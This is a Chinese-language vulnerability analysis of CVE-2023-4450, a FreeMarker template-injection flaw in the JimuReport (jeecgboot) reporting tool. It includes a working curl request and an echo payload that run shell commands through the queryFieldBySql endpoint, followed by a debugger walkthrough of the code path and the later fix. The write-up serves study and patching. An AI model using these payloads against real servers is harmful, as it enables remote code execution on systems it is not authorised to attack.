0%

CVE-2023-4450:jeecgboot积木报表系统 模板注入远程代码执行&分析

CVE-2023-4450:jeecgboot积木报表系统 模板注入远程代码执行

简介

jeecgboot积木报表系统jimureport(jmreport)是一款免费的数据可视化报表,含报表和大屏设计,像搭建积木一样在线设计报表!功能涵盖数据报表、打印设计、图表报表、大屏设计等!

漏洞描述

jimureport ≤ v1.6.0 具有 SSTI(服务器端模板注入),攻击者可利用该漏洞远程执行任意代码(RCE)。

影响版本

jimureport ≤ v1.6.0

漏洞复现

1
2
3
4
5
6
curl --location 'http://101.42.52.114:8080/jeecg-boot/jmreport/queryFieldBySql' \
--header 'Content-Type: application/json' \
--data '{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"touch /tmp/success\")}",
"type": "0"
}'

image-20231228110216048

回显payload

1
{"sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'"}

image-20231228111340729

漏洞分析

环境搭建参考:https://buaq.net/go-175132.html

将.bat文件修改为如下内容

1
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar jimureport-example-1.5.8.jar

idea进行默认的远程调试配置即可

在sql解析处存在相关漏洞

image-20231228163325453

抓包,路由为/jmreport/queryFieldBySql

在此处下载一个断点

image-20231228163437406

开始调试

image-20231228163539902

var1变量是我们传入的语句,获取sql属性的值,并将其作为参数传入i.a方法,跟进

image-20231228163717403

a方法对传入的数据进行一个sql注入的黑名单过滤,回到c方法

进行一些基本的赋值之后,来到这一步

image-20231228164111511

调用了一个parseReportSql方法,其中var2是我们传入的内容

中间会进行一个动态代理的调用

image-20231228164421807

最终来到i.class的parseReportSql方法

image-20231228164509042

会调用到一个e.a方法

image-20231228164657242

其中sql为我们传入的数据,跟进

image-20231228164747606

继续调用i.a方法,依旧是之前那个sql注入黑名单的过滤,接下来会调用一个a方法

image-20231228165039505

跟进

image-20231228165113815

随后会直接对传入的数据进行解析

image-20231228165324046

跟进

image-20231228165412087

接下来就是正常的freemarker模板注入,达成命令执行

高版本修复

会在此处抛出异常

image-20231228170729273

具体是因为这一步的问题

image-20231228170814202

深究一下发现是在这里

image-20231228171204602

在尝试实例化ObjectConstructor类时,会由于安全原因直接抛出异常

image-20231228171251446

image-20231228171303560